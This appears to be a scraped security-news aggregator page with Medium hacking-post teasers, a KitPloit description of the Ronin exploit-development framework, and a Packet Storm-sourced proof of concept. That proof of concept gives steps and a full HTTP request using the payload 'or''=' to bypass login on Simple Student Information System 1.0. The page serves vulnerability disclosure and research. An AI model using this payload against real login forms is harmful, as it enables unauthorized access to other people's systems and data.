vsftpd Version 2.3.4 Suffers Backdoor Command Execution Vulnerability
https://skynettools.medium.com/vsftpd-version-2-3-4-suffers-backdoor-command-execution-vulnerability-9b644ff00205?source=rss------bug_bounty-5

More at https://skynettools.comContinue reading on Medium » (https://skynettools.medium.com/vsftpd-version-2-3-4-suffers-backdoor-command-execution-vulnerability-9b644ff00205?source=rss------bug_bounty-5)

Hacking on Medium
Lazy XSS in the wild

https://cdn-images-1.medium.com/max/1920/1*qxwIJ7yhe1yE887YIH4a6w.jpeg
A simple, yet common vulnerability that I stumbled across on tens of websites

Continue reading on Medium »

Hacking on Medium
Anatomy of learning new things and keeping yourself updated in hacking

https://cdn-images-1.medium.com/max/1200/1*PiEwCUeu_C7bzhjJG-5A2A.jpeg
Hi homies, I hope you all are safe and doing your stuff constantly. Summer is up and we are increasing our speed:) I have so many plans to…

Continue reading on InfoSec Write-ups »

Hacking on Medium
Intro to Information Gathering

Learn about reconnaissance or information gathering. What information to collect? Where to collect? etc.

Continue reading on Learn Ethical Hacking »

Hacking on Medium
ExpressVPN VPN Router 1.0 — Router Login Panel’s Integer Overflow Exploit

More at https://skynettools.com

Continue reading on Medium »

Hacking on Medium
vsftpd Version 2.3.4 Suffers Backdoor Command Execution Vulnerability

More at https://skynettools.com

Continue reading on Medium »

Bug Bounty Write Up HackerOne April 2021
https://localhunter.medium.com/bug-bounty-write-up-hackerone-april-2021-1ce9b0993292?source=rss------bug_bounty-5

This bug bounty HackerOne 2021 written by NganuSec.Continue reading on Medium » (https://localhunter.medium.com/bug-bounty-write-up-hackerone-april-2021-1ce9b0993292?source=rss------bug_bounty-5)

Bug Bounty Write Up HackerOne April 2021

This bug bounty HackerOne 2021 written by NganuSec.Continue reading on Medium »
Read more...

KitPloit - PenTest Tools!
Ronin - A Ruby Platform For Vulnerability Research And Exploit Development

https://1.bp.blogspot.com/-Tf-D13vSC8M/YG0Ca9quQrI/AAAAAAAAV18/jpcZ7fXgo8ETBLi8ir-lXER1_gSaClcvgCNcBGAsYHQ/s16000/ronin.png Ronin is a Ruby platform for vulnerability research and exploit development. Ronin allows for the rapid development and distribution of code, Exploits, Payloads, Scanners, etc, via Repositories. ConsoleRonin provides users with a powerful Ruby Console, pre-loaded with powerful convenience methods. In the Console one can work with data and automate complex tasks, with greater ease than the command-line. >> File.read('data').base64_decode DatabaseRonin ships with a preconfigured Database, that one can interact with from Ruby, without having to write any SQL. >> HostName.tld('eu').urls.with_query_param('id') RepositoriesRonin provides a Repository system, allowing users to organize and share miscallaneous Data, Code, Exploits, Payloads, Scanners, etc. $ ronin install git://github.com/user/myexploits.git LibrariesRonin provides libraries with additional functionality, such as Exploitation and Scanning: $ gem install ronin-exploits Features* Supports installing/updating/uninstalling of Repositories.
* Supports installing Repositories from various media types:
* Subversion (SVN)
* Mercurial (Hg)
* Git
* Rsync
* Provides a Database using DataMapper with:
* {Ronin::Author}
* {Ronin::License}
* {Ronin::Arch}
* {Ronin::OS}
* {Ronin::Software}
* {Ronin::Vendor}
* {Ronin::Address}
* {Ronin::MACAddress}
* {Ronin::IPAddress}
* {Ronin::HostName}

* {Ronin::Port}
* {Ronin::TCPPort}
* {Ronin::UDPPort}

* {Ronin::Service}
* {Ronin::OpenPort}
* {Ronin::OSGuess}
* {Ronin::UserName}
* {Ronin::URL}
* {Ronin::EmailAddress}
* {Ronin::Credential}
* {Ronin::ServiceCredential}
* {Ronin::WebCredential}

* {Ronin::Organization}
* {Ronin::Campaign}
* {Ronin::Target}

* Caches exploits, payloads, scanners, etc stored within Repositories into the Database.
* Convenience methods provided by ronin-support.
* Provides a customized Ruby Console using Ripl with:
* Syntax highlighting.
* Tab completion.
* Auto indentation.
* Pretty Printing (pp).
* print_info, print_error, print_warningand print_debugoutput helper methods with color-output.
* Inline commands (!nmap -v -sT victim.com)

* Provides an extensible command-line interface. SynopsisStart the Ronin console: $ ronin Run a Ruby script in Ronin: $ ronin exec script.rb View available commands: $ ronin help View a man-page for a command: $ ronin help wordlist Install a Repository: $ ronin install svn://example.com/path/to/repo List installed Repositories: $ ronin repos Update all installed Repositories: $ ronin update Update a specific Repositories: $ ronin update repo-name Uninstall a specific Repositories: $ ronin uninstall repo-name List available Databases: $ ronin database Add a new Database: $ ronin database --add team --uri mysql://user:pass@vpn.example.com/db Remove a Database: $ ronin database --remove team Requirements* Ruby >= 1.8.7
* DataMapper:
* dm-sqlite-adapter ~> 1.2
* libsqlite3

* dm-core ~> 1.2
* dm-types ~> 1.2
* dm-migrations ~> 1.2
* dm-validations ~> 1.2
* dm-aggregates ~> 1.2
* dm-timestamps ~> 1.2

* dm-is-predefined ~> 0.4
* uri-query_params ~> 0.6
* open_namespace ~> 0.4
* data_paths ~> 0.3
* object_loader ~> 1.0
* parameters ~> 0.4
* pullr ~> 0.1, >= 0.1.2
* ripl ~> 0.3
* ripl-multi_line ~> 0.2
* ripl-auto_indent ~> 0.1
* ripl-short_errors ~> 0[...]

.1
* ripl-color_result ~> 0.3
* ronin-support ~> 0.5 Install$ gem install ronin Development1. Fork It!
2. Clone It!
3. cd ronin4. bundle install5. git checkout -b my_feature6. Code It!
7. bundle exec rake spec8. git push origin my_featureLicenseCopyright (c) 2006-2021 Hal Brodigan (postmodern.mod3 at gmail.com)

This file is part of ronin.

Ronin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

Ronin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with Ronin. If not, see https://www.gnu.org/licenses/. Download Ronin

Exploit Collector
Simple Student Information System 1.0 SQL Injection

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Simple Student Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | bfec25b7957828dbd5331e19f7c20a6f

Download
# Exploit Title: Simple Student Information System 1.0 - SQL Injection (Authentication Bypass)
# Date: 13 April 2021
# Exploit Author: Galuh Muhammad Iman Akbar (GaluhID)
# Vendor Homepage: https://www.sourcecodester.com/php/11400/simple-student-information-system-ajax-live-search.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11400&title=Simple+Student+Information+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: windows 10

POC

Step 1 - Go to url http://localhost/studentinfosystem/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to 'or''=' and password 'or''='
Step 5 – after entering the payload, you can enter the website
POST /studentinfosystem/index.php HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.1.14
Connection: close
Referer: http://192.168.1.14/studentinfosystem/index.php
Cookie: PHPSESSID=5sll425q7s76lpl9m1copg6mpe
Upgrade-Insecure-Requests: 1

username='or''='&password='or''='&login=Log+In


Source:packetstormsecurity.com